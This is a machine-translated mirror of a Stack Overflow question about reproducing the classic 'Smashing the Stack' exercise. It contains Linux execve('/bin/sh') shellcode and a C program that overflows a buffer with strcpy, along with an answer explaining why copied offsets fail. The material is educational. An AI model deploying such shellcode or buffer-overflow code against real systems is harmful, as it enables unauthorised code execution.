簡體   English   中英

使用strcpy和緩沖區溢出執行shell代碼

[英]Using strcpy & buffer overflow to execute shell code

我一直在經歷“為樂趣和利益而粉碎堆棧”的過程,並且在通過緩沖區溢出執行shell代碼時遇到了問題。

在Linux上運行,通過帶有-fno-stack-protector -ggdb -g標簽的VirtualBox gcc編譯器的Ubuntu 32位

我的代碼與閱讀內容相同,我不明白為什么它不起作用。 我遇到了細分錯誤。 當我使用gbd進行調試時,它顯示為“ 0x08048268 in?” 我知道這意味着它無法在范圍內找到地址。 我不明白為什么它不應該這樣做。

我也在關閉堆棧保護功能。

 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
   char buffer[96];
   int i;
   long *long_ptr = (long *) large_string;
   for (i = 0; i < 32; i++)
      *(long_ptr + i) = (int) buffer;
   for (i = 0; i < strlen(shellcode); i++)
      large_string[i] = shellcode[i];
   large_string[127] = '\0';
   strcpy(buffer,large_string);
}

那是一篇老文章,但我也引用了它。 問題在於您的代碼“與閱讀相同”。這些不是腳本中的魔術數字。 請密切注意Aleph One 如何確定該程序使用哪個值來粉碎堆棧。

並且請記住,這篇文章來自1996年,內核和GCC開發人員也已閱讀。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM